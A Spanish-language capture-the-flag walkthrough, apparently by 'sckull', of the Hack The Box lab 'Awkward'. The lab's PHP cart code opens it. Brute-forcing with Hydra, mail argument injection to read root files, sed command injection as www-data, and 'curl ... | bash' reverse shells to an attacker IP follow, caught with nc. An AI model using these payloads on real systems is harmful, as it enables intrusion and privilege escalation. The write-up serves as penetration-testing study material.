        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
        if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
        }
        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
        echo "Item added successfully!";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
    $html = "";
    $dir = scandir("{$STORE_HOME}cart");
    $files = array_slice($dir, 2);

    foreach($files as $file) {
        $user_id = substr($file, -18);
        if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
            $product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
            $details = array();
            while (($line = fgets($product_file)) !== false) {
                if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
                    array_push($details, str_replace(array("\r", "\n"), '', $line));
                }
            }
            foreach($details as $cart_item) {
                 $cart_items = explode("&", $cart_item);
                 for($x = 0; $x < count($cart_items); $x++) {
                      $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
                 }
                 $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
            }
        }
    }
    echo $html;
    exit;
}

?>

Backup

Luego de no obtener más información relevante de archivos de configuración, enumeramos los directorios de los usuarios, encontramos en el archivo .bashrc de bean un alias que realiza la ejecución de un script en bash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

#[.. snip ..]

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# custom
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
#[.. snip ..]

Si observamos el contenido de este archivo, realiza un backup del directorio de bean, se observa la ruta completa del archivo comprimido.

1
2
3
4
5
6
7
8
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

Obtuvimos el archivo comprimido, tras descomprimirlo observamos multiples carpetas y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
➜  www file backup.tar.gz
backup.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 167772320
➜  www tar -xvf backup.tar.gz

gzip: stdin: unexpected end of file
./
./bean_backup.tar.gz
./time.txt
tar: Child returned status 1
tar: Error is not recoverable: exiting now
➜  www ls
backup.tar.gz  bean_backup.tar.gz  time.txt
➜  www tar -xvf bean_backup.tar.gz
./
./Templates/
./.ssh/
./Pictures/
./.config/

[.. snip ..]

./Documents/backup/
➜  www ls
backup.tar.gz  bean_backup.tar.gz  Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  time.txt  Videos
➜  www

Enumerando el contenido de los archivos encontramos un “ToDo” donde se muestra una posible contraseña del usuario bean.hill.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
➜  www cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold%                                                                                                                         ➜  www

User - Bean

Hydra - Store HTTP

Con nombres de usuarios conocidos realizamos un ataque de fuerza bruta con hydra hacia la tienda, donde encontramos credenciales válidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜  awkward hydra -L users.txt -P users.txt -f store.hat-valley.htb http-get
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 20:47:21
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 81 login tries (l:9/p:9), ~6 tries per task
[DATA] attacking http-get://store.hat-valley.htb:80/
[80][http-get] host: store.hat-valley.htb   login: admin   password: 014mrbeanrules!#P
[STATUS] attack finished for store.hat-valley.htb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 20:47:22
➜  awkward

SSH

Asi mismo por SSH, observamos credenciales válidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜  awkward hydra -L users.txt -P users.txt -f ssh://hat-valley.htb
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 20:46:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 81 login tries (l:9/p:9), ~6 tries per task
[DATA] attacking ssh://hat-valley.htb:22/
[22][ssh] host: hat-valley.htb   login: bean   password: 014mrbeanrules!#P
[STATUS] attack finished for hat-valley.htb (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 20:47:03
➜  awkward

Shell

Con estas credenciales logramos obtener acceso por SSH donde realizamos la lectura de nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  awkward ssh bean@hat-valley.htb # 014mrbeanrules!#P
The authenticity of host 'hat-valley.htb (10.10.11.185)' can't be established.
ECDSA key fingerprint is SHA256:Y3WldzAxm5ypDBD7CKdfTNWGnUu04xdwdmFIXEQOupM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hat-valley.htb,10.10.11.185' (ECDSA) to the list of known hosts.
bean@hat-valley.htb's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Dec  4 02:32:53 2022 from 10.10.14.91
bean@awkward:~$ whoami;id;pwd
bean
uid=1001(bean) gid=1001(bean) groups=1001(bean)
/home/bean
bean@awkward:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  snap  user.txt
bean@awkward:~$ cat user.txt
403ae4b3eca72cfa4425a95653790c5e
bean@awkward:~$

Privesc

Tras observar el comportamiento de scripts, binarios y solicitudes en la app web, observamos que al enviar una leave request se ejecuta un script el cual realiza un envio de mail incluyendo el nombre de usuario de la cookie en este caso christopher.jones en el subject, a christine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
2022/12/04 14:26:17 CMD: UID=33   PID=3844   |
2022/12/04 14:26:17 CMD: UID=0    PID=3847   | /bin/bash /root/scripts/notify.sh
2022/12/04 14:26:17 CMD: UID=0    PID=3846   | /bin/bash /root/scripts/notify.sh
2022/12/04 14:26:17 CMD: UID=???  PID=3848   | ???
2022/12/04 14:26:17 CMD: UID=0    PID=3850   | mail -s Leave Request: christopher.jones christine
2022/12/04 14:26:17 CMD: UID=0    PID=3849   | /bin/bash /root/scripts/notify.sh
2022/12/04 14:26:17 CMD: UID=0    PID=3851   | /usr/sbin/sendmail -oi -f root@awkward -t
2022/12/04 14:26:17 CMD: UID=0    PID=3852   | /usr/sbin/postdrop -r
2022/12/04 14:26:17 CMD: UID=33   PID=3853   | /bin/sh -c awk '/christopher.jones/' /var/www/private/leave_requests.csv
2022/12/04 14:26:17 CMD: UID=???  PID=3854   | ???
f2022/12/04 14:26:36 CMD: UID=???  PID=3855   | ???

Se observa que la hora de creación del “archivo mail” christine, coincide con la hora de ejecución del comando mail.

1
2
3
4
5
6
7
bean@awkward:/var/mail$ ls -lah
total 128K
drwxrwsr-x  2 root      mail 4.0K Dec  4 14:26 .
drwxr-xr-x 15 root      root 4.0K Oct  6 01:35 ..
-rw-------  1 christine mail  31K Dec  4 14:26 christine
-rw-------  1 root      mail  80K Dec  4 14:20 root
bean@awkward:/var/mail$

Al cambiar el nombre de usuario en la cookie y realizar el envio de una leave request observamos que tambien cambia el subject.

1
2
3
4
5
2022/12/04 14:30:53 CMD: UID=???  PID=3940   |
2022/12/04 14:30:53 CMD: UID=???  PID=3938   | ???
2022/12/04 14:30:53 CMD: UID=0    PID=3942   | mail -s Leave Request: testingmail christine
2022/12/04 14:30:53 CMD: UID=0    PID=3943   | /usr/sbin/sendmail -oi -f root@awkward -t
2022/12/04 14:30:53 CMD: UID=0    PID=3944   | /usr/sbin/postdrop -r

El mail también es enviado al usuario que se encuentra en la cookie, al modificar al usuario ‘bean’ se observa un mail nuevo para este usuario. Segun parece no importa el valor que se envíe en los parametros del leave request (start, end, reason) estos son tomados como parte del cuerpo del mail asi como el nombre del usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
From root@awkward Sun Dec  4 14:57:31 2022
Return-Path: <root@awkward>
X-Original-To: bean@awkward
Delivered-To: bean@awkward
Received: by awkward.localdomain (Postfix, from userid 0)
        id BA9ED279C; Sun,  4 Dec 2022 14:57:31 +1100 (AEDT)
Subject: Leave Request: bean
To: <bean@awkward>,<christine@awkward>
User-Agent: mail (GNU Mailutils 3.14)
Date: Sun,  4 Dec 2022 14:57:31 +1100
Message-Id: <20221204035731.BA9ED279C@awkward.localdomain>
From: root <root@awkward>
X-IMAPbase:           1670128640                   14
X-UID: 2
Status: O

You have a new leave request to review!
bean,r,oo,t,Pending

Asumiendo que el script ( posiblemente notify.sh ) toma como valor el usuario de cierta forma desde el archivo leave_requests.csv, si observamos la estructura del archivo, este tiene como valor inicial el nombre del usuario por lo que estaría tomando este valor, de ser asi, es posible agregar o realizar command injection. Sin embargo existe un filtro para ciertos caracteres en la api (ver /api/submit-leave) por lo que seria imposible realizar esto.

Tras revisar ‘man mail’ (mailutils) observamos que es posible adjuntar y ejecutar comandos ( GTFOBins - mail ).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[.. snip ..]

-A, --attach=FILE
              attach FILE

[.. snip ..]

-E, --exec=COMMAND
      execute COMMAND
      
[.. snip ..]

Suponiendo que el script toma el nombre de usuario, y al no observar el cuerpo en el comando, lo vemos de la siguiente forma, solo como una suposicion.

1
mail -s 'Leave Request: $USER ' christine < body.txt

Attach files

De tal forma que si utilizamos la flag --attach=/path/to/file.txt quedaría nuestra cookie y el comando de la siguiente forma. Junto con la dirección compleda del archivo adjunto.

1
2
3
4
5
6
7
8
9
# Cookie --> Username 
#
# ' --attach="/path/to/file.txt" bean
#

# Comando
# mail -s 'Leave Request: $USER  christine < body.txt
#
mail -s 'Leave Request: ' --attach="/path/to/file.txt" bean  christine < body.txt

El payload quedaría de la siguiente forma realizando el escape de las comillas dobles. Dicho payload lo utilizamos para enviar un nuevo leave.

1
2
3
4
{
  "username": "' --attach=\"/dev/shm/hello.txt\" bean",
  "iat": 1670124136
}

El archivo adjunto contiene una simple palabra.

1
2
3
bean@awkward:/dev/shm$ cat hello.txt
rootnt
bean@awkward:/dev/shm$

Tras modificar la cookie observamos que el envió del leave request fue exitoso.

image

Se muestra que el archivo .csv contiene los valores enviados.

image

Tras observar el mail enviado observamos que contiene adjunto el archivo especificado en la cookie en base64.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
? 5
Return-Path: <root@awkward>
X-Original-To: bean@awkward
Delivered-To: bean@awkward
Received: by awkward.localdomain (Postfix, from userid 0)
        id 1338127EA; Sun,  4 Dec 2022 16:09:04 +1100 (AEDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1670130544=:5983"
Subject: Leave Request: '
To: <bean@awkward>,<christine@awkward>
User-Agent: mail (GNU Mailutils 3.14)
Date: Sun,  4 Dec 2022 16:09:04 +1100
Message-Id: <20221204050904.1338127EA@awkward.localdomain>
From: root <root@awkward>

--1804289383-1670130544=:5983
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20221204160904.5983@awkward>

You have a new leave request to review!
' --attach=/dev/shm/hello.txt bean,trt,toottt,tttttt,Pending

--1804289383-1670130544=:5983
Content-Type: application/octet-stream; name="hello.txt"
Content-Disposition: attachment; filename="hello.txt"
Content-Transfer-Encoding: base64
Content-ID: <20221204160904.5983.1@awkward>

cm9vdG50Cg==
--1804289383-1670130544=:5983--

?

Dicho valor es el contenido en el archivo original, por lo que nuestro “payload” funciona correctamente.

image

root.txt

Realizamos lo mismo con el archivo /root/root.txt, logrando realizar la lectura.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
? 13
Return-Path: <root@awkward>
X-Original-To: bean@awkward
Delivered-To: bean@awkward
Received: by awkward.localdomain (Postfix, from userid 0)
        id DB6DF27BC; Sun,  4 Dec 2022 16:15:22 +1100 (AEDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1670130922=:6081"
Subject: Leave Request: '
To: <bean@awkward>,<christine@awkward>
User-Agent: mail (GNU Mailutils 3.14)
Date: Sun,  4 Dec 2022 16:15:22 +1100
Message-Id: <20221204051522.DB6DF27BC@awkward.localdomain>
From: root <root@awkward>
X-UID: 20
Status: O

--1804289383-1670130922=:6081
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20221204161522.6081@awkward>

You have a new leave request to review!
' --attach=/root/root.txt bean,trt,toottt,tttttt,Pending

--1804289383-1670130922=:6081
Content-Type: application/octet-stream; name="root.txt"
Content-Disposition: attachment; filename="root.txt"
Content-Transfer-Encoding: base64
Content-ID: <20221204161522.6081.1@awkward>

ODE0YzdjNTNkMmE1Y2IwYTk2NmM2ZTYwMjJhOGViYTUK
--1804289383-1670130922=:6081--
? q
Saved 1 message in /home/bean/mbox
Held 12 messages in /var/mail/bean
bean@awkward:/var/mail$ echo ODE0YzdjNTNkMmE1Y2IwYTk2NmM2ZTYwMjJhOGViYTUK | base64 -d
814c7c53d2a5cb0a966c6e6022a8eba5
bean@awkward:/var/mail$

notify.sh

Realizamos la lectura de notify.sh, observamos que nuestro supuesto comando estaba un poco cerca. Vemos que utiliza inotifywait, y obtiene el ultimo valor del archivo para enviar un mail. En este script no observamos ningun filtro por lo que si que podriamos realizar command injection si logramos modificar el archivo .csv.

1
2
3
4
5
6
7
#!/bin/bash

inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do
        change=$(tail -1 /var/www/private/leave_requests.csv)
        name=`echo $change | awk -F, '{print $1}'`
        echo -e "You have a new leave request to review!\n$change" | mail -s "Leave Request: "$name christine
done

Nota: al parecer no es necesaria la comilla simple al inicio de nuestro payload (’ --attach=/path/to/file user)

Si observamos dicha carpeta que lo contiene, los unicos usuarios que tienen acceso son christine y www-data, por lo que debemos de buscar una forma para acceder a estos usuarios para modificar el .csv.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
bean@awkward:/var/mail$ ls -lah /var/www/
total 28K
drwxr-xr-x  7 root      root     4.0K Oct  6 01:35 .
drwxr-xr-x 15 root      root     4.0K Oct  6 01:35 ..
drw-rwx---  5 root      www-data 4.0K Dec 20 16:53 .pm2
drwxr-xr-x  6 root      root     4.0K Oct  6 01:35 hat-valley.htb
drwxr-xr-x  2 root      root     4.0K Oct  6 01:35 html
dr-xr-x---  2 christine www-data 4.0K Oct  6 01:35 private
drwxr-xr-x  9 root      root     4.0K Oct  6 01:35 store
bean@awkward:/var/mail$

www-data -> root

Si observamos, la carpeta store contiene los archivos para la tienda que encontramos en el dominio store.hat-valley.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
bean@awkward:/var/www/store$ ls -lah
total 104K
drwxr-xr-x 9 root root 4.0K Oct  6 01:35 .
drwxr-xr-x 7 root root 4.0K Oct  6 01:35 ..
-rwxr-xr-x 1 root root  918 Sep 15 20:09 README.md
drwxrwxrwx 2 root root 4.0K Oct  6 01:35 cart
-rwxr-xr-x 1 root root  12K Sep 15 20:09 cart.php
-rwxr-xr-x 1 root root 3.6K Sep 15 20:09 cart_actions.php
-rwxr-xr-x 1 root root 9.0K Sep 15 20:09 checkout.php
drwxr-xr-x 2 root root 4.0K Oct  6 01:35 css
drwxr-xr-x 2 root root 4.0K Oct  6 01:35 fonts
drwxr-xr-x 6 root root 4.0K Oct  6 01:35 img
-rwxr-xr-x 1 root root  15K Sep 15 20:09 index.php
drwxr-xr-x 3 root root 4.0K Oct  6 01:35 js
drwxrwxrwx 2 root root 4.0K Jan  5 10:00 product-details
-rwxr-xr-x 1 root root  14K Sep 15 20:09 shop.php
drwxr-xr-x 6 root root 4.0K Oct  6 01:35 static
-rwxr-xr-x 1 root root  695 Sep 15 20:09 style.css
bean@awkward:/var/www/store$

Comunmente el usuario www-data ejecuta nginx, por lo que analizamos los archivos de este sitio. Observamos en el archivo cart_actions.php que al eliminar un producto del carrito realiza una validación sobre un archivo existente, lo que destaca es de que, utiliza la función system(), construye y ejecuta un comando a partir de datos que son tomados de la solicitud POST.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
        }
    }
    return false;
}

[.. snip ..]

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

[.. snip ..]

Si intentamos tomar ventaja de la construcción y ejecucion, debemos de modificar el valor del parametro item_id, y, de alguna forma realizar bypass y ejecutar comandos utilizando sed. De igual forma se puede modificar el valor del user_id, en este caso unicamente realizamos una copia de un archivo existente en cart/ modificando el nombre, este ultimo se utilizaría como valor del parametro user_id ya que unicamente estaríamos modificando la solicitud POST.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
[.. snip ..]

$item_id = $_POST['item'];

[.. snip ..]

if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
    system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
    echo "Item removed from cart";
}
else {
    echo "Invalid item";
}

[.. snip ..]

Realizamos una prueba agregando un producto al carrito, al eliminarlo se observa que el usuario www-data (UID 33) ejecuta el comando construido.

1
2
3
4
2022/12/05 10:32:56 CMD: UID=???  PID=5473   | ???
2022/12/05 10:32:56 CMD: UID=???  PID=5472   | ???
2022/12/05 10:32:56 CMD: UID=???  PID=5471   | ???
2022/12/05 10:33:02 CMD: UID=33   PID=5474   | sh -c sed -i '/item_id=1/d' /var/www/store/cart/e687-4f78-6dc-a346

Modificando la solicitud se observa el comando modificado.

image

1
2022/12/05 10:42:30 CMD: UID=33   PID=5600   | sed -i /item_id=sckull/d /var/www/store/cart/e687-4f78-6dc-a346

sed - exec command

Tras distintas pruebas y con la ayuda de GTFOBins(b) logramos crear un ‘payload’ para ejecutar un script, localmente.

1
2
3
4
5
6
7
# script
echo "id>/tmp/id" > /dev/shm/id
chmod +x /dev/shm/id

# /d' -e '1e exec /dev/shm/id' /dev/shm/id '

sed -i '/item_id=/d' -e '1e exec /dev/shm/id' /dev/shm/id '/d' /tmp/dir/id123abc

Realizamos una prueba creando un archivo en cart/, y el script a ejecutar.

1
2
3
4
5
6
7
8
bean@awkward:/var/www/store/cart$ nano sckull
bean@awkward:/var/www/store/cart$ cat sckull
***Hat Valley
bean@awkward:/var/www/store/cart$ nano /dev/shm/id
bean@awkward:/var/www/store/cart$ cat /dev/shm/id
id>/tmp/id_www
bean@awkward:/var/www/store/cart$ chmod +x /dev/shm/id
bean@awkward:/var/www/store/cart$

Observamos que el comando se ejecutó correctamente, vemos el contenido del comando ejecutado en /tmp/id_www.

1
2022/12/05 10:52:49 CMD: UID=33   PID=5666   | sh -c sed -i '/item_id=/d' -e '1e exec /dev/shm/id' /dev/shm/id '/d' /var/www/store/cart/sckull
1
2
3
bean@awkward:/var/www/store/cart$ cat /tmp/id_www
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bean@awkward:/var/www/store/cart$

Shell

Ejecutamos shells, modificamos el comando a ejecutar del archivo /dev/shm/id para obtener una shell como www-data.

1
2
3
bean@awkward:/var/www/store/cart$ cat /dev/shm/id
curl 10.10.14.207/10.10.14.207:1335 | bash
bean@awkward:/var/www/store/cart$

Luego de enviar nuevamente la solicitud POST obtuvimos una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
➜  ~ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from hat-valley.htb [10.10.11.185] 39800
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash");'
www-data@awkward:~/store$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/store
www-data@awkward:~/store$

Mail - Exec commands

Ahora teniendo acceso como www-data es posible modificar el archivo .csv, con lo cual podríamos agregar la flag para ejecucion de comandos en mail.

1
--exec='!/bin/sh'

Creamos un archivo para ejecutar una shell inversa.

1
2
3
4
5
bean@awkward:/var/www/store/cart$ nano /dev/shm/root
bean@awkward:/var/www/store/cart$ chmod +x  /dev/shm/root
bean@awkward:/var/www/store/cart$ cat /dev/shm/root
curl 10.10.14.207/10.10.14.207:1336 | bash
bean@awkward:/var/www/store/cart$

Como sabemos el archivo csv esta constantemente observado (notify.sh) por lo que unicamente agregamos la flag para ejecutar nuestro archivo anterior.

1
2
3
4
5
www-data@awkward:~/private$ echo " --exec=\"\!/dev/shm/root\" bean" >> leav*
< echo " --exec=\"\!/dev/shm/root\" bean" >> leav*
www-data@awkward:~/private$ tail -n 1 leav*
 --exec="\!/dev/shm/root" bean
www-data@awkward:~/private$

Shell

Finalmente obtuvimos una shell como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
➜  ~ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.207] from hat-valley.htb [10.10.11.185] 49660
/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root/scripts
# cd /root
# ls
backup
root.txt
scripts
snap
# cat root.txt
814c7c53d2a5cb0a966c6e6022a8eba5
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe